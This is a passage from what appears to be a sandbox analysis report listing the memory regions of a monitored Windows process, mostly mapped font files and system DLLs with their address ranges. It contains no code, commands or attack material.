"c:\\windows\\fonts\\pertibd.ttf") Region: id = 1233 start_va = 0x2d0000 end_va = 0x2dbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pertibd.ttf" filename = "\\Windows\\Fonts\\PERTIBD.TTF" (normalized: "c:\\windows\\fonts\\pertibd.ttf") Region: id = 1234 start_va = 0x2d0000 end_va = 0x2dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pertili.ttf" filename = "\\Windows\\Fonts\\PERTILI.TTF" (normalized: "c:\\windows\\fonts\\pertili.ttf") Region: id = 1235 start_va = 0x2d0000 end_va = 0x2dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pertili.ttf" filename = "\\Windows\\Fonts\\PERTILI.TTF" (normalized: "c:\\windows\\fonts\\pertili.ttf") Region: id = 1236 start_va = 0x2d0000 end_va = 0x2dbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "playbill.ttf" filename = "\\Windows\\Fonts\\PLAYBILL.TTF" (normalized: "c:\\windows\\fonts\\playbill.ttf") Region: id = 1237 start_va = 0x2d0000 end_va = 0x2dbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "playbill.ttf" filename = "\\Windows\\Fonts\\PLAYBILL.TTF" (normalized: "c:\\windows\\fonts\\playbill.ttf") Region: id = 1238 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "poorich.ttf" filename = "\\Windows\\Fonts\\POORICH.TTF" (normalized: "c:\\windows\\fonts\\poorich.ttf") Region: id = 1239 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "poorich.ttf" filename = "\\Windows\\Fonts\\POORICH.TTF" (normalized: "c:\\windows\\fonts\\poorich.ttf") Region: id = 1240 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pristina.ttf" filename = "\\Windows\\Fonts\\PRISTINA.TTF" (normalized: "c:\\windows\\fonts\\pristina.ttf") Region: id = 1241 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pristina.ttf" filename = "\\Windows\\Fonts\\PRISTINA.TTF" (normalized: "c:\\windows\\fonts\\pristina.ttf") Region: id = 1242 start_va = 0x3f0000 end_va = 0x410fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rage.ttf" filename = "\\Windows\\Fonts\\RAGE.TTF" (normalized: "c:\\windows\\fonts\\rage.ttf") Region: id = 1243 start_va = 0x3f0000 end_va = 0x410fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rage.ttf" filename = "\\Windows\\Fonts\\RAGE.TTF" (normalized: "c:\\windows\\fonts\\rage.ttf") Region: id = 1244 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ravie.ttf" filename = "\\Windows\\Fonts\\RAVIE.TTF" (normalized: "c:\\windows\\fonts\\ravie.ttf") Region: id = 1245 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ravie.ttf" filename = "\\Windows\\Fonts\\RAVIE.TTF" (normalized: "c:\\windows\\fonts\\ravie.ttf") Region: id = 1246 start_va = 0x4a0000 end_va = 0x4d5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "refsan.ttf" filename = "\\Windows\\Fonts\\REFSAN.TTF" (normalized: "c:\\windows\\fonts\\refsan.ttf") Region: id = 1247 start_va = 0x4a0000 end_va = 0x4d5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "refsan.ttf" filename = "\\Windows\\Fonts\\REFSAN.TTF" (normalized: "c:\\windows\\fonts\\refsan.ttf") Region: id = 1248 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "refspcl.ttf" filename = "\\Windows\\Fonts\\REFSPCL.TTF" (normalized: "c:\\windows\\fonts\\refspcl.ttf") Region: id = 1249 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "refspcl.ttf" filename = "\\Windows\\Fonts\\REFSPCL.TTF" (normalized: "c:\\windows\\fonts\\refspcl.ttf") Region: id = 1250 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rocc____.ttf" filename = "\\Windows\\Fonts\\ROCC____.TTF" (normalized: "c:\\windows\\fonts\\rocc____.ttf") Region: id = 1251 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rocc____.ttf" filename = "\\Windows\\Fonts\\ROCC____.TTF" (normalized: "c:\\windows\\fonts\\rocc____.ttf") Region: id = 1252 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "roccb___.ttf" filename = "\\Windows\\Fonts\\ROCCB___.TTF" (normalized: "c:\\windows\\fonts\\roccb___.ttf") Region: id = 1253 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "roccb___.ttf" filename = "\\Windows\\Fonts\\ROCCB___.TTF" (normalized: "c:\\windows\\fonts\\roccb___.ttf") Region: id = 1254 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rock.ttf" filename = "\\Windows\\Fonts\\ROCK.TTF" (normalized: "c:\\windows\\fonts\\rock.ttf") Region: id = 1255 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rock.ttf" filename = "\\Windows\\Fonts\\ROCK.TTF" (normalized: "c:\\windows\\fonts\\rock.ttf") Region: id = 1256 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rockb.ttf" filename = "\\Windows\\Fonts\\ROCKB.TTF" (normalized: "c:\\windows\\fonts\\rockb.ttf") Region: id = 1257 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rockb.ttf" filename = "\\Windows\\Fonts\\ROCKB.TTF" (normalized: "c:\\windows\\fonts\\rockb.ttf") Region: id = 1258 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rockbi.ttf" filename = "\\Windows\\Fonts\\ROCKBI.TTF" (normalized: "c:\\windows\\fonts\\rockbi.ttf") Region: id = 1259 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rockbi.ttf" filename = "\\Windows\\Fonts\\ROCKBI.TTF" (normalized: "c:\\windows\\fonts\\rockbi.ttf") Region: id = 1260 start_va = 0x2d0000 end_va = 0x2dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rockeb.ttf" filename = "\\Windows\\Fonts\\ROCKEB.TTF" (normalized: "c:\\windows\\fonts\\rockeb.ttf") Region: id = 1261 start_va = 0x2d0000 end_va = 0x2dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rockeb.ttf" filename = "\\Windows\\Fonts\\ROCKEB.TTF" (normalized: "c:\\windows\\fonts\\rockeb.ttf") Region: id = 1262 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rocki.ttf" filename = "\\Windows\\Fonts\\ROCKI.TTF" (normalized: "c:\\windows\\fonts\\rocki.ttf") Region: id = 1263 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rocki.ttf" filename = "\\Windows\\Fonts\\ROCKI.TTF" (normalized: "c:\\windows\\fonts\\rocki.ttf") Region: id = 1264 start_va = 0x3f0000 end_va = 0x419fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schlbkb.ttf" filename = "\\Windows\\Fonts\\SCHLBKB.TTF" (normalized: "c:\\windows\\fonts\\schlbkb.ttf") Region: id = 1265 start_va = 0x3f0000 end_va = 0x419fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schlbkb.ttf" filename = "\\Windows\\Fonts\\SCHLBKB.TTF" (normalized: "c:\\windows\\fonts\\schlbkb.ttf") Region: id = 1266 start_va = 0x3f0000 end_va = 0x417fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schlbkbi.ttf" filename = "\\Windows\\Fonts\\SCHLBKBI.TTF" (normalized: "c:\\windows\\fonts\\schlbkbi.ttf") Region: id = 1267 start_va = 0x3f0000 end_va = 0x417fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schlbkbi.ttf" filename = "\\Windows\\Fonts\\SCHLBKBI.TTF" (normalized: "c:\\windows\\fonts\\schlbkbi.ttf") Region: id = 1268 start_va = 0x3f0000 end_va = 0x417fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schlbki.ttf" filename = "\\Windows\\Fonts\\SCHLBKI.TTF" (normalized: "c:\\windows\\fonts\\schlbki.ttf") Region: id = 1269 start_va = 0x3f0000 end_va = 0x417fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schlbki.ttf" filename = "\\Windows\\Fonts\\SCHLBKI.TTF" (normalized: "c:\\windows\\fonts\\schlbki.ttf") Region: id = 1270 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "scriptbl.ttf" filename = "\\Windows\\Fonts\\SCRIPTBL.TTF" (normalized: "c:\\windows\\fonts\\scriptbl.ttf") Region: id = 1271 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "scriptbl.ttf" filename = "\\Windows\\Fonts\\SCRIPTBL.TTF" (normalized: "c:\\windows\\fonts\\scriptbl.ttf") Region: id = 1272 start_va = 0x4cd0000 end_va = 0x4d67fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuisl.ttf" filename = "\\Windows\\Fonts\\SEGOEUISL.TTF" (normalized: "c:\\windows\\fonts\\segoeuisl.ttf") Region: id = 1273 start_va = 0x4cd0000 end_va = 0x4d67fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuisl.ttf" filename = "\\Windows\\Fonts\\SEGOEUISL.TTF" (normalized: "c:\\windows\\fonts\\segoeuisl.ttf") Region: id = 1274 start_va = 0x2d0000 end_va = 0x2dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "showg.ttf" filename = "\\Windows\\Fonts\\SHOWG.TTF" (normalized: "c:\\windows\\fonts\\showg.ttf") Region: id = 1275 start_va = 0x2d0000 end_va = 0x2dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "showg.ttf" filename = "\\Windows\\Fonts\\SHOWG.TTF" (normalized: "c:\\windows\\fonts\\showg.ttf") Region: id = 1276 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "snap____.ttf" filename = "\\Windows\\Fonts\\SNAP____.TTF" (normalized: "c:\\windows\\fonts\\snap____.ttf") Region: id = 1277 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "snap____.ttf" filename = "\\Windows\\Fonts\\SNAP____.TTF" (normalized: "c:\\windows\\fonts\\snap____.ttf") Region: id = 1278 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stencil.ttf" filename = "\\Windows\\Fonts\\STENCIL.TTF" (normalized: "c:\\windows\\fonts\\stencil.ttf") Region: id = 1279 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stencil.ttf" filename = "\\Windows\\Fonts\\STENCIL.TTF" (normalized: "c:\\windows\\fonts\\stencil.ttf") Region: id = 1280 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcb_____.ttf" filename = "\\Windows\\Fonts\\TCB_____.TTF" (normalized: "c:\\windows\\fonts\\tcb_____.ttf") Region: id = 1281 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcb_____.ttf" filename = "\\Windows\\Fonts\\TCB_____.TTF" (normalized: "c:\\windows\\fonts\\tcb_____.ttf") Region: id = 1282 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcbi____.ttf" filename = "\\Windows\\Fonts\\TCBI____.TTF" (normalized: "c:\\windows\\fonts\\tcbi____.ttf") Region: id = 1283 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcbi____.ttf" filename = "\\Windows\\Fonts\\TCBI____.TTF" (normalized: "c:\\windows\\fonts\\tcbi____.ttf") Region: id = 1284 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tccb____.ttf" filename = "\\Windows\\Fonts\\TCCB____.TTF" (normalized: "c:\\windows\\fonts\\tccb____.ttf") Region: id = 1285 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tccb____.ttf" filename = "\\Windows\\Fonts\\TCCB____.TTF" (normalized: "c:\\windows\\fonts\\tccb____.ttf") Region: id = 1286 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcceb.ttf" filename = "\\Windows\\Fonts\\TCCEB.TTF" (normalized: "c:\\windows\\fonts\\tcceb.ttf") Region: id = 1287 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcceb.ttf" filename = "\\Windows\\Fonts\\TCCEB.TTF" (normalized: "c:\\windows\\fonts\\tcceb.ttf") Region: id = 1288 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tccm____.ttf" filename = "\\Windows\\Fonts\\TCCM____.TTF" (normalized: "c:\\windows\\fonts\\tccm____.ttf") Region: id = 1289 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tccm____.ttf" filename = "\\Windows\\Fonts\\TCCM____.TTF" (normalized: "c:\\windows\\fonts\\tccm____.ttf") Region: id = 1290 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcm_____.ttf" filename = "\\Windows\\Fonts\\TCM_____.TTF" (normalized: "c:\\windows\\fonts\\tcm_____.ttf") Region: id = 1291 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcm_____.ttf" filename = "\\Windows\\Fonts\\TCM_____.TTF" (normalized: "c:\\windows\\fonts\\tcm_____.ttf") Region: id = 1292 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcmi____.ttf" filename = "\\Windows\\Fonts\\TCMI____.TTF" (normalized: "c:\\windows\\fonts\\tcmi____.ttf") Region: id = 1293 start_va = 0x2d0000 end_va = 0x2e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcmi____.ttf" filename = "\\Windows\\Fonts\\TCMI____.TTF" (normalized: "c:\\windows\\fonts\\tcmi____.ttf") Region: id = 1294 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tempsitc.ttf" filename = "\\Windows\\Fonts\\TEMPSITC.TTF" (normalized: "c:\\windows\\fonts\\tempsitc.ttf") Region: id = 1295 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tempsitc.ttf" filename = "\\Windows\\Fonts\\TEMPSITC.TTF" (normalized: "c:\\windows\\fonts\\tempsitc.ttf") Region: id = 1296 start_va = 0x2d0000 end_va = 0x2e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vineritc.ttf" filename = "\\Windows\\Fonts\\VINERITC.TTF" (normalized: "c:\\windows\\fonts\\vineritc.ttf") Region: id = 1297 start_va = 0x2d0000 end_va = 0x2e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vineritc.ttf" filename = "\\Windows\\Fonts\\VINERITC.TTF" (normalized: "c:\\windows\\fonts\\vineritc.ttf") Region: id = 1298 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vivaldii.ttf" filename = "\\Windows\\Fonts\\VIVALDII.TTF" (normalized: "c:\\windows\\fonts\\vivaldii.ttf") Region: id = 1299 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vivaldii.ttf" filename = "\\Windows\\Fonts\\VIVALDII.TTF" (normalized: "c:\\windows\\fonts\\vivaldii.ttf") Region: id = 1300 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vladimir.ttf" filename = "\\Windows\\Fonts\\VLADIMIR.TTF" (normalized: "c:\\windows\\fonts\\vladimir.ttf") Region: id = 1301 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vladimir.ttf" filename = "\\Windows\\Fonts\\VLADIMIR.TTF" (normalized: "c:\\windows\\fonts\\vladimir.ttf") Region: id = 1302 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wingdng2.ttf" filename = "\\Windows\\Fonts\\WINGDNG2.TTF" (normalized: "c:\\windows\\fonts\\wingdng2.ttf") Region: id = 1303 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wingdng2.ttf" filename = "\\Windows\\Fonts\\WINGDNG2.TTF" (normalized: "c:\\windows\\fonts\\wingdng2.ttf") Region: id = 1304 start_va = 0x2d0000 end_va = 0x2d8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wingdng3.ttf" filename = "\\Windows\\Fonts\\WINGDNG3.TTF" (normalized: "c:\\windows\\fonts\\wingdng3.ttf") Region: id = 1305 start_va = 0x2d0000 end_va = 0x2d8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wingdng3.ttf" filename = "\\Windows\\Fonts\\WINGDNG3.TTF" (normalized: "c:\\windows\\fonts\\wingdng3.ttf") Region: id = 1306 start_va = 0x2d0000 end_va = 0x2d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mtextra.ttf" filename = "\\Windows\\Fonts\\MTEXTRA.TTF" (normalized: "c:\\windows\\fonts\\mtextra.ttf") Region: id = 1307 start_va = 0x2d0000 end_va = 0x2d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mtextra.ttf" filename = "\\Windows\\Fonts\\MTEXTRA.TTF" (normalized: "c:\\windows\\fonts\\mtextra.ttf") Region: id = 1308 start_va = 0x2d0000 end_va = 0x2ebfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "gdipfontcachev1.dat" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\gdipfontcachev1.dat") Region: id = 1309 start_va = 0x4cd0000 end_va = 0x4d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004cd0000" filename = "" Region: id = 1310 start_va = 0x73a70000 end_va = 0x73a82fff monitored = 0 entry_point = 0x73a71d3f region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 1311 start_va = 0x4f90000 end_va = 0x58bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 1312 start_va = 0x2b0000 end_va = 0x2b4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\user32.dll.mui") Region: id = 1313 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 1314 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 1315 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 1316 start_va = 0x650000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 1317 start_va = 0x5aa0000 end_va = 0x5b9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005aa0000" filename = "" Region: id = 1318 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 1319 start_va = 0x58e0000 end_va = 0x591ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000058e0000" filename = "" Region: id = 1320 start_va = 0x5960000 end_va = 0x5a5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005960000" filename = "" Region: id = 1321 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 1322 start_va = 0x72ea0000 end_va = 0x72f94fff monitored = 0 entry_point = 0x72eb0d9e region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 1323 start_va = 0x4b30000 end_va = 0x4b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b30000" filename = "" Region: id = 1324 start_va = 0x5ca0000 end_va = 0x5d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ca0000" filename = "" Region: id = 1325 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 1326 start_va = 0x2e0000 end_va = 0x2e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002e0000" filename = "" Region: id = 1327 start_va = 0x73c20000 end_va = 0x73dbdfff monitored = 0 entry_point = 0x73c4e6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 1328 start_va = 0x3f0000 end_va = 0x3f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 1329 start_va = 0x400000 end_va = 0x401fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 1330 start_va = 0x73890000 end_va = 0x738dbfff monitored = 0 entry_point = 0x73892c14 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 1331 start_va = 0x3f0000 end_va = 0x3f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 1332 start_va = 0x5c10000 end_va = 0x5c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c10000" filename = "" Region: id = 1333 start_va = 0x5e00000 end_va = 0x5efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e00000" filename = "" Region: id = 1334 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 1335 start_va = 0x75a70000 end_va = 0x75af2fff monitored = 0 entry_point = 0x75a723d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 1336 start_va = 0x410000 end_va = 0x410fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 1337 start_va = 0x73e00000 end_va = 0x7487ffff monitored = 0 entry_point = 0x73e06b95 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll") Region: id = 1338 start_va = 0x75800000 end_va = 0x75804fff monitored = 0 entry_point = 0x75801438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 1339 start_va = 0x73dc0000 end_va = 0x73dfbfff monitored = 0 entry_point = 0x73dc3089 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 1340 start_va = 0x753f0000 end_va = 0x755eafff monitored = 0 entry_point = 0x753f22d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 1341 start_va = 0x430000 end_va = 0x430fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll") Region: id = 1342 start_va = 0x440000 end_va = 0x441fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 1343 start_va = 0x75930000 end_va = 0x75a65fff monitored = 0 entry_point = 0x75931b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 1344 start_va = 0x755f0000 end_va = 0x756e4fff monitored = 0 entry_point = 0x755f1865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 1345 start_va = 0x74fc0000 end_va = 0x750e0fff monitored = 0 entry_point = 0x74fc158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 1346 start_va = 0x75810000 end_va = 0x7581bfff monitored = 0 entry_point = 0x7581238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 1347 start_va = 0x7cf0000 end_va = 0x7deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007cf0000" filename = "" Region: id = 1348 start_va = 0x4a0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 1349 start_va = 0x7df0000 end_va = 0x7eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007df0000" filename = "" Region: id = 1350 start_va = 0x73bf0000 end_va = 0x73c10fff monitored = 0 entry_point = 0x73bf145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 1351 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 1352 start_va = 0x74f70000 end_va = 0x74fb4fff monitored = 0 entry_point = 0x74f711e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 1353 start_va = 0x450000 end_va = 0x453fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 1354 start_va = 0x620000 end_va = 0x636fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000007.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000007.db") Region: id = 1355 start_va = 0x590000 end_va = 0x590fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 1356 start_va = 0x450000 end_va = 0x453fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1357 start_va = 0x75e50000 end_va = 0x75fecfff monitored = 0 entry_point = 0x75e517e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 1358 start_va = 0x4240000 end_va = 0x426ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = 